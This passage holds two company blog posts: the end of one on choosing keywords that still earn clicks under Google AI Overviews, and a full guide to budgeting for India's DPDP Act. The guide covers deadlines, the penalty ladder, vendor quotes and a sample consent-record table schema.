Accept it as brand impressions and stop measuring it as traffic. Three hundred thousand impressions at 0.3% is a weak traffic channel and a reasonable awareness channel. The mistake is booking it as the former and being confused by the revenue.

What does not work is chasing the ranking. We already rank 2.77 on "ios 27" and it converts 0.149%. Position one would not fix that. Per the Ahrefs table, position one is where the AI Overview takes the most.

Where the clicks went, and what still earns them

Zero-click search is not new, and AI Overviews are the latest in a sequence that includes Featured Snippets, Local Pack and Top Stories. Ahrefs make this point directly: CTR for non-AI-Overview informational keywords also fell over the same period, from 0.076 to 0.039. The panel accelerated a trend that predates it.

The strategic read is that the queries surviving are the ones where the value is not the fact. Four categories hold up in our data and in the published studies:

Comparisons with real benchmarks. Not "X vs Y" listicles, which summarise fine, but comparisons carrying numbers a panel cannot compress without losing the point.

Cost and pricing breakdowns. Specific, dated, with the assumptions visible. A summary of a cost model is not usable. The model is.

How-tos with code, configs or templates. The artefact is the product. A panel describing a config does not save anyone the work of writing it.

Decision-stage questions under constraints. "Which of these should we build on, given we are on Shopify and sell in India" has no terminal answer. It has a recommendation, and recommendations invite scrutiny, which is a click.

The common property is that a correct summary of the page increases rather than decreases the reader's need to open it. That is the actual test. If a perfect AI Overview of your article would satisfy the reader, do not write it.

The keyword sources that surface click-shaped queries

Search Console is a poor discovery tool for this work, because it only shows queries you already rank for, which skews toward what you have already written. It is a measurement tool, not a source.

Sources that surface click-shaped candidates:

Google Trends rising and breakout terms, filtered for anything with a task in it. Rising queries have not yet been saturated by content, and breakout terms often outrun the panel's confidence.

Product and event launch calendars, but targeting the second-order question. Not the release date. What the release breaks.

Competitor keyword gaps where the competitor's page is thin. A thin page ranking on a click-shaped query is an opening, because the query deserves depth and nobody has supplied it.

People Also Ask and community questions, read for the follow-up rather than the question. The first question is usually answer-shaped. The third one in the thread rarely is.

Your own support tickets and sales calls. These are pure click-shaped signal, because nobody opens a ticket about a release date.

India-specific considerations

Two things differ for teams targeting Indian queries.

Volume distributions are more extreme. The gap between a high-volume answer-shaped query and a low-volume click-shaped one is wider, which makes the score above harder to defend internally when someone points at the volume column. The arithmetic does not change. Twelve queries at 307,668 impressions paid us 909 clicks. Three queries at 378 impressions paid us 22. The second set cost far less to produce.

Query language mixing matters. Hinglish and transliterated queries are frequently answer-shaped in ways the panel handles well, while the genuinely click-shaped Indian queries tend to be pricing, regulation and vendor-selection questions where local constraints make the answer non-generic. DPDP, UPI and ONDC questions score well precisely because the correct answer depends on rules that are specific, changing and consequential. Our AEO, GEO and SEO guide covers how these surface differently across engines.

What we changed in our own pipeline

We used to queue topics by search volume and keyword difficulty. The iOS 27 cluster looked outstanding on both. It produced 307,668 impressions and 909 clicks in 90 days.

Three changes since:

Every candidate topic gets the survivability score before it is queued, and anything under 6 is dropped no matter what the volume says. We do not queue "release date" topics at all now.

Every article must contain at least one thing we produced rather than retrieved: a benchmark, a config, a table of our own numbers, a cost model. If we cannot name that artefact before writing, the topic is not ready.

We measure clicks per article, not impressions or position. The dashboards that made the iOS 27 cluster look like a success were measuring the wrong column.

The honest summary of our own data is that we spent 90 days ranking well for questions Google had already answered. The zero-click survival playbook and the GEO platform playbook cover what we built instead.

FAQ

What is click-survivability in keyword selection?

Click-survivability is whether a query still sends clicks once an AI Overview answers it. Queries with a terminal one-paragraph answer, like release dates or definitions, lose nearly all clicks. Queries needing tables, code, benchmarks or judgement under constraints keep them, because a summary increases rather than removes the reader's need to open the page.

How much do AI Overviews actually reduce clicks?

Ahrefs analysed 300,000 keywords and found the presence of an AI Overview correlates with a 58% lower CTR for the top-ranking page as of December 2025, up from 34.5% in April 2025. Corroborating studies range from Authoritas at 47.5% to Seer Interactive between 49.4% and 65.2%.

Does ranking first still matter with AI Overviews?

Less than it did, and not in the direction most teams assume. Ahrefs' per-position data shows the CTR damage is worst at position one at 58% and mildest at position ten at 19.4%. Climbing an AI Overview query moves you into the zone where the panel takes the largest share of available clicks.

Which keywords still send clicks in 2026?

Four types hold up: comparisons carrying real benchmarks, cost and pricing breakdowns with visible assumptions, how-tos shipping code or configs, and decision-stage questions constrained by the reader's situation. The shared property is that a correct summary of the page leaves the reader needing the page.

How do I test whether a keyword is answer-shaped?

Write the complete correct answer. If it fits in one paragraph and nothing follows it, the query is answer-shaped and an AI Overview will serve it fully. If the answer needs sections, a table, a configuration or a recommendation the reader might argue with, it is click-shaped and worth writing.

Should I delete pages ranking on answer-shaped queries?

Usually not. Consolidate variants into one page, then use that page to route readers into work that earns clicks. Treat the impressions as an awareness channel rather than a traffic channel. Deleting discards distribution; the error is booking those impressions as traffic and being surprised by the revenue.

Why did a page at position 4 outperform one at position 2.8?

Because shape beat position. In our 16 April to 15 July 2026 Search Console data, "nextjs typescript 7" at position 4.23 converted 16.07% of impressions while "ios 27" at position 2.77 converted 0.149%. The first query implies a task with no terminal answer. The second is a fact Google states directly.

Is Search Console enough for keyword research now?

No. Search Console only reports queries you already rank for, so it reflects what you have written rather than what is worth writing. Use it to measure click-survivability after publishing, and use Google Trends rising terms, People Also Ask follow-ups, competitor gaps and your own support tickets to find candidates.

How eCorpIT can help

eCorpIT is a CMMI Level 5 certified, senior-led engineering organisation in Gurugram that runs this framework on its own content before recommending it to anyone. We audit which of your rankings are earning clicks and which are decorating an answer panel, score your topic pipeline for click-survivability, and rebuild content around artefacts a summary cannot replace. Talk to our team via /contact-us/ about a search visibility and GEO review.

References

Update: AI Overviews Reduce Clicks by 58%. Ryan Law and Xibeijia Guan, Ahrefs, 4 February 2026
AI Overviews Reduce Clicks by 34.5%. Ahrefs, April 2025
Welcome to Zero-Click Search. Ahrefs
How SERP Features Have Evolved in the AI Era. Ahrefs
What Triggers AI Overviews? 86 Factors and 146 Million SERPs Analyzed. Ahrefs
How to Rank in AI Overviews: What Actually Works. Ahrefs
AI Overviews Change Every 2 Days. Ahrefs
How to Track AI Overviews: Mentions, Citations, Click Loss. Ahrefs
Google zero-click searches reach 68% in early 2026: Study. Search Engine Land
GSC data is 75% incomplete. Kevin Indig, Growth Memo
Google AI Overviews: publishers report clickthrough declines. Press Gazette, on the Authoritas report
Google AI Overviews Reduce Clicks By 58%, Study Finds. Medianama, February 2026
Google AI Overviews statistics: key CTR and traffic insights. Psyke
eCorpIT Google Search Console, property ecorpit.com, 16 April to 15 July 2026. CTR by average position and query-level clicks, impressions and position. First-party data reported in this article.

Last updated: 16 July 2026.

DPDP compliance costs for Indian startups: what to budget before 13 May 2027

Manu Shukla — Wed, 15 Jul 2026 18:34:14 +0000

DPDP compliance costs for Indian startups: what to budget before 13 May 2027

Summary. Full compliance with India's Digital Personal Data Protection Act is due on 13 May 2027. That is the date consent, notice, security safeguards, breach intimation and data-principal rights all become enforceable, and it is roughly 10 months away. The DPDP Rules 2025 were notified on 13 November 2025 and land in three phases: the Data Protection Board of India stood up immediately, penalties and Consent Manager registration begin on 13 November 2026, and everything else bites on 13 May 2027. The penalty schedule is not proportionate to your size: up to ₹250 crore for failing reasonable security safeguards, ₹200 crore for failing to notify a breach, and ₹150 crore for missing Significant Data Fiduciary obligations. There is no revenue or headcount exemption. The cost gap is where founders get hurt. Vendors routinely quote ₹15 lakh to ₹2 crore for DPDPA compliance, while a startup under 10,000 users can be substantively compliant for under ₹50,000 a year. India's privacy and data governance market is worth roughly $1 billion to $1.5 billion today, per IDfy founder Ashok Hariharan speaking to Inc42 in April 2026, and a lot of that revenue depends on you not reading the rules yourself.

This is a budgeting guide, not a legal opinion. The rules are short. Read them, then price the work.

The deadline that actually matters

There are three dates, and only one of them is a real deadline for most startups.

Phase	Date	What switches on	Does it affect a typical startup?
Phase 1	13 November 2025	Data Protection Board of India established, Rules notified	No direct obligation, but the Board can already receive complaints
Phase 2	13 November 2026	Consent Manager registration opens, penalty framework and enforcement powers begin	Only if you intend to register as a Consent Manager
Phase 3	13 May 2027	Notice, consent, security safeguards, breach intimation, retention, children's data, data-principal rights	Yes. This is your deadline

Phase 2 confuses people. Consent Manager registration is not something a normal startup does. A Consent Manager is a regulated intermediary that lets people manage consent across fiduciaries, and Schedule I Part A of the Rules requires it to be a company incorporated in India with a net worth of at least ₹2 crore. If you are a D2C brand or a SaaS company, you are a Data Fiduciary, not a Consent Manager. You may use one. You do not register as one.

So the working number is 13 May 2027, and the planning horizon from mid-July 2026 is about 10 months.

What the rules actually require

Most cost estimates float free of the rules. Here is what the text says, rule by rule, and what each one costs in engineering terms.

Rule 3, notice. You must give the data principal a notice that is understandable independently of any other information, listing the personal data collected and the purpose. Engineering cost: low. This is copy plus a consent-capture screen.

Rule 6, reasonable security safeguards. Encryption, obfuscation, masking or virtual tokens; access control; logs and monitoring; backups; contractual terms with processors. Engineering cost: this is the big one, and most of it is work you should already be doing.

Rule 7, breach intimation. Two obligations fire the moment you become aware of a breach. You must tell each affected data principal without delay, in plain language, covering the nature and extent of the breach, likely consequences for them, your mitigation, safety measures they can take, and a contact. Separately you must tell the Board without delay, then file a detailed report within 72 hours of becoming aware, extendable only on written request. Engineering cost: moderate, and it is detection tooling, not paperwork.

That 72-hour figure is worth pinning down because secondary summaries drift. Rule 7(2)(b) says "within seventy-two hours of becoming aware of the breach". The notification to individuals and the first intimation to the Board are both "without delay", which is stricter than 72 hours, not looser.

Rule 8, retention. Data must be erased once the specified purpose is no longer served, with Schedule III setting default periods for large platforms.

Rule 13, Significant Data Fiduciary obligations. DPO, data protection impact assessment, annual audit, algorithmic due diligence. Only applies if the Central Government notifies you.

Rule 14, data-principal rights. Access, correction, erasure, grievance redressal, nomination. Engineering cost: moderate. This is a workflow, and it is the line item vendors price highest.

The technology lawyer Mishi Choudhary, founder of the Software Freedom Law Center, put the asymmetry plainly to Inc42 in November 2025:

"The rules are simple in words but will require investment in implementation. Large companies already have security and compliance teams but it's going to require a lot of restructuring and investments by smaller players."
Mishi Choudhary, technology lawyer and founder, Software Freedom Law Center

She also made the point that decides your breach budget: "The reporting timelines are aggressive and will require external tooling. Forensic disclosures cannot be made within the expected timelines."

Read that as an engineering requirement. You cannot answer Rule 7 in 72 hours from cold logs.

The penalty ladder

Failure	Maximum penalty	Rule or section	Realistic exposure for a startup
No reasonable security safeguards, leading to a breach	₹250 crore	Schedule to the Act, Rule 6	The headline number, applied proportionately
Failure to notify the Board or data principals of a breach	₹200 crore	Rule 7	High, because it is a process failure you control
Non-compliance with children's data provisions	₹200 crore	Rules 10 to 12	Only if you process children's data
Failure to meet additional SDF obligations	₹150 crore	Rule 13	Zero unless notified as an SDF
General breach of other obligations	Lower tiers	Schedule to the Act	Most likely category

Two things founders misread here.

The ₹250 crore number is a maximum, not a tariff. Penalties can also stack: one incident can be both a safeguards failure and a notification failure.

The more useful observation is that the notification penalty is the one you fully control. A breach may happen despite good engineering. Missing the 72-hour report is a choice you made 18 months earlier when you decided not to instrument anything.

What vendors quote versus what it costs

The published quotes vary by a factor of 400. That is not a market. That is an information gap.

Buyer profile	Typical vendor quote	What the same outcome costs built in-house	Source of the quote
Startup, under 10,000 users	₹15 lakh to ₹2 crore	Under ₹50,000 a year	Consently, 2026
SME, around 500,000 users	₹15 lakh to ₹2 crore	₹3 lakh to ₹8 lakh	Consently, 2026
End-to-end consulting, startup or SME	₹1.5 lakh to ₹2 lakh	Varies	TCSA, 2026
End-to-end consulting, mid-market	₹2 lakh to ₹3 lakh	Varies	TCSA, 2026
Enterprise or SDF programme	₹3 lakh to ₹4 lakh	Varies	TCSA, 2026

Treat every figure in that table with the incentive attached. Consently sells a consent management platform. TCSA sells DPDP consulting. Both figures come from companies whose revenue is the number they are quoting you. We are citing them because published neutral pricing for DPDP work does not exist, not because they are disinterested.

The market context explains the spread. India's privacy and data governance market is around $1 billion to $1.5 billion today with the potential to reach $3 billion to $4 billion over the next decade, per Ashok Hariharan, founder of IDfy, speaking to Inc42. IDfy's own revenue from operations rose to ₹188.5 crore in FY25 from ₹145 crore in FY24, and crossed ₹200 crore in FY26. A market that size, growing that fast, in front of a hard deadline, produces exactly the quoting behaviour above.

Where the money actually goes

Three cost centres, in the order they will actually consume budget.

Consent infrastructure. A consent record needs to be immutable, timestamped, versioned against the notice text, and queryable per data principal. Most startups already have a users table and no consent table. This is a schema and an API, not a product.

Data rights workflows. Access, correction and erasure requests need an owner, an SLA and an audit trail. This is where teams underestimate. Erasure is genuinely hard once data has fanned out into analytics, backups, logs, a data warehouse and three SaaS tools. The engineering cost is proportional to how many copies of personal data you made before anyone asked.

Governance footprint. Policies, processor contracts, breach runbook, logging. Cheap in rupees, slow in calendar time, because it needs decisions rather than code.

The real cost is almost never the consent banner. It is the erasure path through your data warehouse.

What you can build yourself

For a startup under 10,000 users with no children's data and no SDF notification, the compliant core is smaller than the quotes suggest. A consent record is roughly this shape:

create table consent_record (
  id              uuid primary key,
  data_principal  uuid not null references users(id),
  purpose         text not null,          -- one row per purpose, never bundled
  notice_version  text not null,          -- ties consent to the exact notice shown
  status          text not null,          -- granted | withdrawn
  granted_at      timestamptz not null,
  withdrawn_at    timestamptz,
  source          text not null,          -- signup | settings | consent_manager
  evidence        jsonb not null          -- ip, user agent, rendered notice hash
);
create index on consent_record (data_principal, purpose, status);

Two design rules do most of the compliance work. One row per purpose, because bundled consent is not consent under the Act's purpose limitation. And notice_version with a hash of the rendered notice, because a year from now you must show what the person actually saw, not what your current privacy page says.

Withdrawal has to be as easy as granting. That is a product decision more than an engineering one, and it is the item most likely to fail an audit.

For Rule 7 readiness, the question to answer before May 2027 is narrow: if personal data leaked at 02:00 on a Sunday, how long until someone knows, and can you reconstruct the nature, extent, timing and affected-principal list within 72 hours? If the answer depends on grepping application logs by hand, that is your gap, and it is a detection and logging investment, not a legal one. Our notes on privacy-first AI architecture cover the data-flow mapping that makes this answerable.

Are you a Significant Data Fiduciary? Probably not

This is the single largest source of over-quoting, so it is worth being blunt.

An SDF is not a size category you grow into. The Central Government notifies you. A data fiduciary that is not notified is not an SDF, even if it processes very large data volumes, and a fiduciary that is notified is an SDF from the date of notification irrespective of size.

So the DPO, the DPIA, the annual audit and the algorithmic due diligence in Rule 13 are not on your roadmap unless you have been notified. If a proposal prices a DPO retainer and an annual audit for a Series A company that has not been notified, it is pricing obligations you do not have.

Retention: Schedule III mostly is not about you

Schedule III sets default retention of three years from the last interaction, but only for named classes at real scale: e-commerce entities with at least 2 crore registered users, online gaming intermediaries with at least 50 lakh registered users, and social media intermediaries with at least 2 crore registered users.

Below those thresholds, Rule 8's general principle applies instead: erase when the specified purpose is no longer served. That is a judgement your team documents, not a number the Rules hand you. The absence of a bright line is why this line item gets padded.

A 10-month plan from July 2026

Months 1 to 2, discovery. Map every place personal data lands. Not the diagram you wish were true, the one your warehouse actually shows. Most teams find between three and ten copies they had forgotten.

Months 3 to 4, consent and notice. Ship the consent schema, version the notice, unbundle purposes, build withdrawal.

Months 5 to 7, rights and erasure. Build access, correction and erasure end to end, including the awkward paths: backups, analytics, third-party processors. Give it an owner and an SLA.

Months 8 to 9, breach readiness. Detection, alerting, log retention, a runbook with named roles, and one tabletop exercise against the 72-hour clock. This is where Choudhary's tooling point converts into a purchase order.

Month 10, contracts and evidence. Processor terms, records of processing, and the file you would hand the Board.

Deliberately not on the list: registering as a Consent Manager, appointing a DPO, or commissioning an annual audit, unless you have been notified as an SDF. If your compliance spend is dominated by those three, someone sold you an enterprise programme for a startup problem.

India-specific considerations

DPDP applies to processing of digital personal data within India, and to processing outside India where it relates to offering goods or services to data principals in India. A Delaware-registered startup with Indian users is in scope. Incorporation abroad is not an exemption.

The Board operates as a digital office under Rule 20, so complaints and proceedings are online. That lowers the barrier for a complaint against a small company, which is the practical enforcement risk for startups: not a regulator-initiated sweep, but a single annoyed user who cannot get their data deleted.

Sector overlays still apply on top. Healthcare AI deployments carry CDSCO considerations alongside DPDP, which we set out in our healthcare AI deployment guide, and public-sector AI work interacts with the IndiaAI Mission framework covered in our sovereign AI analysis. We design applications aligned with DPDP requirements rather than certifying compliance, because DPDP has no certification to hold.

FAQ

When is the DPDP compliance deadline for Indian startups?

Full compliance is due 13 May 2027. The DPDP Rules 2025 were notified on 13 November 2025 in three phases: the Data Protection Board of India was established immediately, Consent Manager registration and the penalty framework begin on 13 November 2026, and consent, notice, security, breach and rights obligations all apply from 13 May 2027.

How much does DPDP compliance actually cost a startup?

It depends on scale and existing engineering hygiene. Consently's 2026 breakdown puts a startup under 10,000 users at under ₹50,000 a year and an SME with around 500,000 users at ₹3 lakh to ₹8 lakh, against typical market quotes of ₹15 lakh to ₹2 crore. Most of the gap is obligations you may not have.

What is the maximum penalty under the DPDP Act?

₹250 crore for failing to take reasonable security safeguards where a breach follows. ₹200 crore applies for failing to notify the Board or affected data principals, and ₹200 crore for children's data failures. ₹150 crore covers additional Significant Data Fiduciary obligations. Penalties are maximums and can stack across a single incident.

Do I have to report a data breach within 72 hours?

Partly. Rule 7 requires intimation to each affected data principal and an initial description to the Board without delay, which is stricter than 72 hours. The detailed report to the Board is due within 72 hours of becoming aware, extendable only if the Board allows a longer period on written request.

Is my startup a Significant Data Fiduciary?

Almost certainly not. SDF status comes from Central Government notification, not from user counts or revenue. A fiduciary that is not notified is not an SDF regardless of data volume. Until notified, the Rule 13 obligations of DPO, impact assessment, annual audit and algorithmic due diligence do not apply to you.

Do I need to register as a Consent Manager?

No, unless that is your business. A Consent Manager is a regulated intermediary, and Schedule I Part A requires incorporation in India plus a minimum net worth of ₹2 crore. Registration opens 13 November 2026. A typical D2C or SaaS company is a Data Fiduciary that may use a Consent Manager.

Does DPDP apply to a startup incorporated outside India?

Yes, where the processing relates to offering goods or services to data principals within India. Foreign incorporation is not an exemption, and the Act contains no revenue or headcount threshold. A two-person company carries the same baseline obligations as a large enterprise, with penalties applied proportionately.

How long can I retain personal data under DPDP?

Rule 8 requires erasure once the specified purpose is no longer served. Schedule III sets a three-year default only for named classes at scale: e-commerce and social media intermediaries with at least 2 crore registered users, and online gaming intermediaries with at least 50 lakh. Below those thresholds you document your own retention judgement.

How eCorpIT can help

eCorpIT is a CMMI Level 5 certified, senior-led engineering organisation in Gurugram that treats DPDP as an engineering problem rather than a document exercise. We map where personal data actually lands, build consent and erasure paths that survive an audit, and get breach detection to the point where a 72-hour Rule 7 report is answerable. We design applications aligned with DPDP requirements and will tell you plainly which obligations do not apply to you. Talk to our team via /contact-us/ about a DPDP readiness review before the May 2027 deadline.

References

Rule 7: Intimation of personal data breach. DPDP Rules 2025 text
Rule 4: Registration and obligations of Consent Manager. DPDP Rules 2025 text
Schedule I Part A: Conditions of registration of Consent Manager. DPDP Rules 2025 text
India's Data Privacy Rules: Will DPDP Act Compliance Costs Crush Startups?. Inc42, 19 November 2025
As DPDPA Kicks In, Are Startups Ready For Privacy Compliance Burden?. Inc42, 16 April 2026
DPDP Act Compliance Cost in India: A Real Breakdown for Startups, SMEs and Enterprises. Consently, 2026
Top DPDP Act Compliance Consultants India. TCSA
DPDP Rules 2025: Compliance Roadmap and Deadlines. TCSA
Consent Managers under India's DPDP Act and DPDP Rules. AZB and Partners
Enforcement of the DPDP Act and notification of the DPDP rules. Shardul Amarchand Mangaldas and Co
How DPDP Rules 2025 Affect Data Fiduciaries and SDFs. Medianama, November 2025
Digital Personal Data Protection Rules, 2025: operationalising consent, security and governance obligations. Lexology
India's DPDP Rules 2025: a practical guide with implementation checklist. Scrut
DPDP Rules 2025: India's Complete Compliance Guide. Seclore
Significant Data Fiduciary (SDF) Under DPDP Act: Complete Guide. Vakilsearch
DPDP Act and Rules: Practical Overview, 2026 Edition. Glocert International
Explanatory note to the Digital Personal Data Protection Rules, 2025. MeitY
Schedule III: class of data fiduciaries, purposes and time periods. DPDP Rules 2025 text
Rule 8: Time period for specified purpose to be deemed as no longer being served. DPDP Rules 2025 text
Rule 13: Additional obligations of Significant Data Fiduciary. DPDP Rules 2025 text
Rule 3: Notice given by Data Fiduciary to Data Principal. DPDP Rules 2025 text
Rule 6: Reasonable security safeguards. DPDP Rules 2025 text
Rule 14: Rights of Data Principals. DPDP Rules 2025 text
Rule 20: Functioning of Board as digital office. DPDP Rules 2025 text
DPDP Act 2023 and DPDP Rules 2025: enforcement timeline. DPDPA.com

Last updated: 16 July 2026.